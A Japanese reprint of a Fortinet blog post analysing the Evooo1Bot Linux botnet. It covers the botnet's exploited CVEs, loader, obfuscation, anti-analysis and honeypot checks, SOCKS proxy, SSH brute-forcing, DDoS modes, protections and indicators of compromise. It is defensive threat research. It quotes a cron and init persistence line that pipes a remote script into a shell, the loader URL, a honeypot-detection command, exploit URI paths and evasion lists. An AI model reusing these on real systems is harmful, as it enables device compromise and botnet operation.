エッジデバイスを悪用し被害者を永続的なプロキシに変えるLinuxボットネット「Evooo1Bot」

文●フォーティネットジャパン 編集●ASCII

提供: フォーティネットジャパン

  • この記事をはてなブックマークに追加
  • 本文印刷

本記事はフォーティネットジャパンが提供する「FORTINETブログ」に掲載された「多機能なLinuxボットネット「Evooo1Bot」」を再編集したものです。

米国時間2026年8月13日に掲載されたフォーティネットブログの抄訳です。

影響を受けるプラットフォーム:Linux
影響を受けるユーザー    :あらゆる組織
影響            :リモートの攻撃者による脆弱なシステムの乗っ取り
深刻度           :クリティカル

FortiGuard Labsは、これまで報告されていないLinuxボットネットファミリーを追跡しており、これをEvooo1Botと命名しました。この名称は、すべてのバイナリに文字列「evooo1」がハードコードされていることに由来しています。このマルウェアは、Miraiの公開されたソースコードに含まれるDDoSエンジンを再利用していますが、暗号化されたC2通信、SSH総当たりスキャナ、SOCKSリレーモジュール、認証情報スニファー、そして複数の既知の脆弱性を標的とする統合されたエクスプロイト群など、多数の機能によって元のフレームワークを拡張しています。そのC2インフラストラクチャからのテレメトリによると、Evooo1Botは2026年7月以降、インターネットに接続されたデバイスを活発に標的とし、さまざまな地域で複数の脆弱性を悪用していることが示されています。本ブログでは、Evooo1Botのモジュール式アーキテクチャと活動の特徴を詳細に分析します。

図1:C2テレメトリ

検知の経緯

Evooo1Botは、FortiGuard IPSのテレメトリを通じて検知されました。さまざまなエッジデバイスを標的とした活発な悪意ある試みが観測され、すべてのペイロードのコールバックが同一のローダーURL(91.92.40[.]118/wget.sh)を指していました。捕捉されたトラフィック全体で、以下の脆弱性の悪用が確認されています。

・CVE-2007-3010:Alcatel OmniPCX Enterpriseにおけるリモートコード実行の脆弱性
・CVE-2016-6277:NETGEARの複数のルーターにおけるリモートコード実行の脆弱性
・CVE-2018-14558:TendaのAC7 / AC9 / AC10ルーターにおけるコマンドインジェクションの脆弱性
・CVE-2019-14931:Mitsubishi Electric Europe B.V. ME-RTUデバイスおよびINEA ME-RTUデバイスにおけるリモートコマンドインジェクションの脆弱性
・CVE-2020-10987:Tenda AC1900ルーターAC15モデルにおけるリモートコード実行の脆弱性
・CVE-2021-46422:Telesquare SDT-CW3B1におけるコマンドインジェクションの脆弱性
・CVE-2022-37055:D-Linkルーターにおけるバッファオーバーフローの脆弱性
・CVE-2024-29269:Telesquare TLR-2005KSHにおけるコマンドインジェクションの脆弱性
・CVE-2025-10123:D-Link DIR-823Xにおけるコマンドインジェクションの脆弱性
・CVE-2025-55583:D-Link DIR-868L B1ルーターにおけるコマンドインジェクションの脆弱性

ローダースクリプト「wget.sh」は、ホストのCPUアーキテクチャに一致するボットネットバイナリをダウンロードして実行します。脆弱性悪用のそれぞれの試みでは、ダウンロードコマンドに埋め込まれたキャンペーンラベルが付与されています(例えば、Mitsubishi Electric Europe B.V.が標的の場合は-s mitsu、Alcatel-Lucentが標的の場合はrep.alcatel)。脆弱性ごとの感染成功率を攻撃者が個別に追跡していると見られます。

図2:エクスプロイトのpcap(パケットキャプチャファイル)内のペイロード

続いてローダースクリプトwget.shは、wget、busybox wget、curl、tftpをこの順で使用して、12種類のバイナリ亜種をダウンロードします。バイナリは一時パスに書き込まれ、実行可能に設定された上で実行されます。感染後にはBashの履歴が消去されます。

図3:wget.sh

基本的なサンプル特定

Evooo1Botの静的文字列は、コンパイル時に適用される多層パイプラインによって保護されています。この復号手順によって、60個以上の暗号化された文字列ブロックが処理されます。AESとChaCha20の鍵は、バイナリファイルには直接格納されません。各鍵は、.dataに埋め込まれた2つの32バイト定数に分割され、実行時にXOR演算によって結合されます。

図4:暗号化された文字列

図5:復号された文字列

.rodataセクション(i386ビルドでは0x43)内の文字列のサブセットに対しては、別のXORデコード処理が適用されます。

図6:XORエンコードされた文字列

起動時、バイナリは分析ツールの存在を確認してから処理を続行します。

・ファイルシステムの存在確認:strace、ltrace、gdb、lldb、valgrind、perf、radare2、r2、rizin、cutter、iaito、ghidra、ghidraRun、ida、ida64、idat、idat64、objdump、readelf、retdec-decompiler、wireshark、tshark、tcpdump、ngrep、ettercap、yara、ssdeep、binwalk、foremost、sysdig、bpftrace、auditd、ausearch、fatrace、inotifywait、lynis、rkhunter、chkrootkit、clamdscan、clamscan、volatility、vol.py、gcore
・実行中のプロセス名の確認:gdb、lldb、strace、ltrace、radare2、r2、rizin、rr、valgrind、perf、ida、ida64、ghidra、sysdig、bpftrace、frida、frida-server
・サンドボックスサービスの名称確認:sandboxie、cuckoo、anubis、threatexpert、joebox、comodo、hybrid-analysis、cape-sandbox、fireeye、normanbox、drakvuf
・VMおよびコンテナ環境のフィンガープリント確認:vmware、vbox、virtualbox、qemu、firejail、bubblewrap、gvisor、kata、cuckoo、joesandbox、cape、any.run、hybrid-analysis

これらのチェックを通過すると、ポート443でC2サーバーとの接続の確立を開始します。このポートが選択されているのは、ネットワーク境界で想定される通常のHTTPSトラフィックに紛れ込ませるためです。C2サーバーとの初回接続を完了すると、次のアクションを実行するための追加のコマンドを待機します。

機能モジュール

Evooo1Botには複数のコマンドが埋め込まれており、以下のモジュールに分類できます。(注:これは最新バージョンに基づいています。初期のビルドでは、!cve、!stopcve、!cveallを除くすべてのコマンドがサポートされています)

モジュール コマンド 説明
永続化 !persist すべての永続化メカニズムをインストールする
自己アップデート !reinstall 実行中のバイナリをダウンロードして置き換える
制御 !kill
!exit
!info

ボットを強制終了する、正常終了する、またはシステム情報を返す
ファイル転送 !download
!upload
双方向対応。ダウンロードの上限は10 MB。__FILE_START__および__FILE_END__マーカーで区切られる
対話型シェル !shell
!exec
!stream
!detach !bg
/dev/ptmx PTYを開き、TERM=xterm-256colorを設定し、バックグラウンド実行と切り離しをサポートする
スニファー !sniff
!stopsniff
/proc/net/tcpを読み取り、HTTP Basic認証とCookieヘッダーを傍受し、/tmp/.sniff.logに書き込む
SOCKSリレー !socks
!socksauth
!stopsocks
被害者をプロキシノードに変え、任意の認証機能を備え、任意のTCPトラフィックを中継する
SSHスキャナ !ssh
!stopssh
!enableautossh
!disableautossh
組み込みのSSHクライアントと、150件以上の認証情報辞書を搭載
DDoS !attack
!stopattack
16種類のフラッド攻撃手法
CVEエクスプロイト !cve
!stopcve
!cveall
攻撃者指定のペイロードホストを使用する、HTTPベースのエクスプロイトディスパッチャー(MODE:allで同時スキャンを実行)

以下のセクションでは、「永続化」、「SOCKSリレー」、「SSHスキャナ」、「DDoS」、「CVEエクスプロイト」の各モジュールについて、さらに詳しく説明します。

永続化メカニズム

!persistコマンドは、すべてのメカニズムを同時にインストールします。

・systemdサービス:「Description=Apache HTTPD Cache Manager」と「Restart=always」を指定したユニットファイルを設定します。
・SysV initスクリプト:/etc/init.dパスに、ヘッダー「### BEGIN INIT INFO」とダウンロード用スクリプト「(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &」を含むスクリプトをインストールします。
・Cron:5分ごとにスクリプトをダウンロードするエントリを含む定期タスクを設定します。

*/5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &'

・シェルプロファイル:/etc/profile.d/へのインジェクションを行い、ログイン時に実行させます。
・rc.local:「/etc/rc.local」内にスクリプトをダウンロードするためのコードを追記します。

強制終了を回避するため、バイナリは/proc/self/oom_score_adjに書き込んでOOM-killerの優先度を下げ、さらにデバイスの再起動によって操作が中断されるのを防ぐため、/dev/watchdogをオープン状態に保ちます。

SOCKSリレー

ペイロードのダウンロードや攻撃の実行に重点を置く一般的なボットネットコマンドとは異なり、!socksモジュールは感染ホストをSOCKS5プロキシとして動作させ、オペレーターがネットワークリレーとして利用できるようにします。このモジュールは2つの動作モードに対応します。ダイレクトモードでは、感染ホスト上でデフォルトのTCPポート1080を使用してSOCKS5リスナーを開き、外部からのクライアント接続を待機します。この実装では、まずデュアルスタックのIPv6リスナーの作成を試み、失敗した場合はIPv4にフォールバックします。続いて、接続を受け付けた各クライアントは、プロキシ処理のためにセッションハンドラーに渡されます。

図7:SOCKSリレー

ボットネットには、リバースリレーモードも実装されています。ボットは、リスニングポートを公開する代わりに、攻撃者が指定したリレーサーバーに対して、暗号化されたアウトバウンド接続を確立します。この永続的な制御チャネルは、新しいプロキシセッションを作成すべきことを示すRELAY_NEW:<session_id>などのコマンドを待機します。

要求を受信すると、ボットは同じリレーサーバーに対して2つ目の暗号化接続を開き、RELAY_DATA:<session_id>を使用してその接続を登録し、SOCKS5プロキシルーチンに接続を引き渡します。このアーキテクチャでは、セッション制御とプロキシトラフィックが分離され、安定した制御接続を維持しながら複数のセッションを独立して実行させることが可能になります。

この機能により、攻撃者にとっての感染ホストの価値が大きく高まります。被害者のIPアドレスを悪用することで、悪意のあるトラフィックの偽装、地理的制限の回避、侵害済みマシンを足掛かりにした内部ネットワークへのアクセスが可能になります。より大規模なボットネットでは、この機能を利用して分散型プロキシインフラストラクチャを構築し、匿名でのトラフィック転送や、一般家庭向け / 企業向けプロキシサービスを通じた収益化も可能になります。

SSH総当たり攻撃

このボットネットは、スキャナの起動を試みる前に、接続の異なる段階で2回のハニーポットチェックを実行します。最初のチェックは、認証情報が送信される前のプロトコルのハンドシェイク中に実行されます。スキャナは、標的のSSHバナーを、以下の表に示されたハードコードされたリストと照合します。いずれかのエントリに一致した場合、ログの記録やそれ以上の操作を行うことなく、標的は暗黙的にスキップされます。
 

Cowrie SSH-2.0-paramiko SSH-2.0-Go
Kippo SSH-2.0-libssh SSH-2.0-Parks
Hon SSHTwisted SSH-2.0-CISCO_WLC
Glutton russh_ SSH-2.0-Server
OpenCanary ssh2js SSH-2.0-MocanaSSH

2つ目のチェックは、ログインに成功した後、永続化ペイロードが送信される前に実行されます。スキャナは、確立されたセッションを介して次のコマンドを送信します。

cat /proc/version 2>/dev/null; echo ---; cat /proc/1/cmdline 2>/dev/null; ls /opt/cowrie /home/cowrie /home/kippo 2>/dev/null

出力されたバージョンで、部分文字列「Linux version」が含まれているかどうかがチェックされます。これが存在しない場合には、エミュレート環境または非標準の環境であることが示唆され、標的がスキップされます。lsコマンドは、CowrieとKippoという2つのハニーポットファミリーを検知します。何らかの指標が検出された場合、スキャナはその標的の処理を中止します。3つの条件すべてを満たしたホストのみが、ペイロードの配信へと進みます。

これら2つのチェックは重複ではなく、相互補完的な関係にあります。バナーチェックは、SSH実装識別子を通じて自らを明らかにするハニーポットを排除します。ログイン後の調査は、もっともらしいSSHバナーを提示しつつ、基盤となるホストのファイルシステム構成によって自らを露呈するハニーポットを対象としています。両方のチェックを通過した標的は、ペイロードの配信へと進みます。

その後、組み込みのSSHスキャナは、バナー「SSH-2.0-OpenSSH_9.7p1」を持つSSHクライアント実装を使用します。組み込まれた認証情報辞書には、150件以上のエントリが含まれています。このリストには、一般的なIoTデバイスのデフォルト認証情報に加え、消費者向けルーターではなくエンタープライズ環境やオペレーショナルテクノロジー(OT)環境で一般的に見られるサービスアカウント名(jenkins、postgres、oracle、nagios、deploy)が含まれています。

図8:ハードコードされた認証情報

DDoS攻撃手法

DDoSエンジンは、公開されたMiraiのソースコードと構造的に一致しています。HTTPフラッドのバリアント(!attackパラメータ文字列内のhttp methodキーによってトリガーされる)は、攻撃者が指定したMETHOD、HEADER、EXPECTの値に対応し、カスタマイズ可能なUser-AgentおよびContent-Lengthを含む要求を生成します。

ID 手法 説明
0x00 udp 汎用のUDPフラッド
0x01 vse Valve Source Engineのクエリ増幅
0x02 dns DNSフラッド
0x03 syn TCP SYNフラッド
0x04 ack TCP ACKフラッド
0x05 stomp TCP STOMP
0x06 greip GREでカプセル化したIPフラッド
0x07 greeth GREでカプセル化したイーサネットフラッド
0x08 udpplain 高PPS UDP、最小ヘッダーオーバーヘッド
0x09 std ランダム長ペイロードのUDPフラッド
0x0a xmas 全フラグを有効にしたTCP
0x0b usyn URG+SYNのバリアント
0x0c tcpall フラグを任意に組み合わせたTCP
0x0d tcpfrag 断片化TCPフラッド
0x0e ovh OVH DDoS緩和を回避するための手法
0x0f asyn 非同期SYNフラッド

CVEエクスプロイトモジュール

エクスプロイトモジュールには、バイナリに埋め込まれた平文のCVEテーブルが含まれており、各エントリはCVE識別子を1つ以上のHTTP要求文字列に対応付けています。実行時に!cve <url>または!cveall <url>を通じてペイロードホストが指定され、wgetの配信コマンドに代入されます。すべてのエクスプロイトエントリで同じ配信方法が採用されています。以下の表に、ボットネットから抽出された脆弱性とURIパスを一覧します。

CVE番号 標的の製品 パス
CVE-2021-36260 Hikvision IPカメラ /SDK/webLanguage
CVE-2022-26134 Atlassian Confluence /%24%7B%28%23a
%3D%40org.apache.
commons.io.IOUtils
CVE-2022-30525 Zyxelファイアウォール /ztp/cgi-bin/handler
CVE-2023-1389 TP-Link Archer AX21 /cgi-bin/luci/;stok=/locale
CVE-2024-4577 PHP-CGI (Windows) allow_url_include%3D
CVE-2024-10914 D-Link NAS /cgi-bin/account_mgr.cgi
CVE-2025-1974 Kubernetes ingress-nginx /apis/networking/v1/ingresses
CVE-2022-29464 WSO2製品 /fileupload/

このボットネットには、実装上の誤りによりエクスプロイトを成功させられないエントリがいくつか含まれています。いずれの場合も、コードは実際の攻撃ベクトルを再現していません。脆弱性の種類がコマンドインジェクションに対応していないか、あるいは要求と一致する公開インタフェースが標的に存在しません。これらは現状のままでは悪用不可能です。例えば、CVE-2023-34362は、MOVEit Transferを標的とする脆弱性です。侵害に成功した後、攻撃者は「human2.aspx」といったファイル名のWebシェルを展開することが報告されています。しかし、このエクスプロイトモジュールはファイルアップロードの手順を実行せず、「human2.aspx」にペイロード引数を渡すだけです。

図9:CVE-2023-34362のペイロード

結論

Evooo1Botは、MiraiのDDoSエンジンを、より高機能でモジュール化されたフレームワークに組み込んだLinuxボットネットファミリーです。従来のボットネットの機能に加え、暗号化されたC2通信、AES-256-CTR、ChaCha20、XORベースの鍵導出を用いた多層的な文字列難読化、さらに28種類のコマンドに対応したリモート管理インタフェースを備えています。こうした機能により、Evooo1Botは、従来のMirai派生マルウェアをはるかに上回る技術水準を実現しています。

Evooo1Botには、攻撃モジュールに加え、IoTデバイス、ネットワーク機器、エンタープライズアプリケーションに存在する複数の既知の脆弱性を標的とした統合エクスプロイト群が含まれています。中でもリバースSOCKSリレーモジュールは、運用上の重要性が最も高い要素であると言えます。このマルウェアは、侵害されたルーター、ファイアウォール、IPカメラなどのエッジデバイスを常時接続のプロキシに変えることで、攻撃者が真の発信元を隠蔽し、内部ネットワークへ侵入し、被害者のインフラストラクチャを通じてその後の攻撃を実行することを可能にします。

防御側の組織は、悪用のリスクを軽減するため、インターネットに接続されたデバイスやネットワーク機器へのパッチ適用を速やかに実施する必要があります。Evooo1Botのようなボットネットによるリスクを最小限に抑えるには、定期的なファームウェアのアップデート、不審な外部への接続に対する継続的な監視、脆弱なシステムに対する迅速な是正措置が依然として不可欠です。

フォーティネットのソリューション

本レポートで説明したマルウェアは、FortiGuardアンチウイルスによって以下として検知され、ブロックされます。

Linux/Agent.BDS!tr

FortiGuard AntiVirusサービスエンジンは、FortiGate、FortiMail、FortiClient、FortiEDRに統合されています。これらの製品を最新のシグネチャで運用しているお客様は、本レポートに記載されているマルウェアコンポーネントから保護されます。

FortiGuard Webフィルタリングサービスは、このC2サーバーをブロックします。

FortiGuard Labsは、以下の脆弱性を悪用するサイバー攻撃に対するIPSシグネチャを提供しています。

CVE-2007-3010:alcatel-lucent.omnipcx.office.mastercgi.user.command.execution
CVE-2016-6277: NETGEAR.WebServer.Module.Command.Injection
CVE-2018-14558およびCVE-2020-10987:Tenda.AC15.AC1900.Authenticated.Remote.Command.Injection
CVE-2019-14931:mitsubishi.electric.me-rtu.command.injection
CVE-2021-36260: Hikvision.Products.SDK.WebLanguage.Tag.Command.Injection
CVE-2021-46422およびCVE-2024-29269: Telesquare.SDT-CW3B1.Command.Injection
CVE-2022-26134: HTTP.URI.Java.Expression.Language.Code.Injection
CVE-2022-29464:WSO2.fileupload.Arbitrary.File.Upload
CVE-2022-30525: Zyxel.Firewall.ZTP.Command.Injection
CVE-2022-37055: D-link.go-rt-ac750.hnap_main.buffer.overflow
CVE-2023-1389: TP-Link.Archer.AX21.luci.stok.Command.Injection
CVE-2024-10914: D-Link.Devices.account_mgr.cgi.Command.Injection
CVE-2024-4577:PHP.CGI.Argument.Injection
CVE-2025-10123: D-Link.DIR-823X.set_static_leases.Command.Injection
CVE-2025-55583: D-Link.DIR-868L.fileaccess.cgi.Command.Injection


基礎的なセキュリティ意識の強化を目指すお客様は、サイバーセキュリティに関するフォーティネット認定ファンダメンタルズ(FCF)トレーニングの実施もご検討ください。このモジュールを受講することで、エンドユーザーがフィッシング攻撃を特定して自らを保護する方法を習得できます。

FortiGuard IPレピュテーションおよびアンチボットネットセキュリティサービスは、フォーティネットが全世界に展開するセンサーネットワーク、CERTの連携、MITRE、信頼できる業界パートナー、その他のインテリジェンスソースから収集した悪意あるIPインテリジェンスを相関させることで、このキャンペーンに関連するインフラストラクチャをプロアクティブにブロックします。

このようなサイバーセキュリティの脅威の影響を受けていることが疑われる場合は、グローバルのFortiGuardインシデントレスポンスチームにお問い合わせください。

IOC(Indicators of Compromise:侵害指標)

IP
91.92.40[.]118

ハッシュ
f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109
4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d

■関連サイト

本記事はアフィリエイトプログラムによる収益を得ている場合があります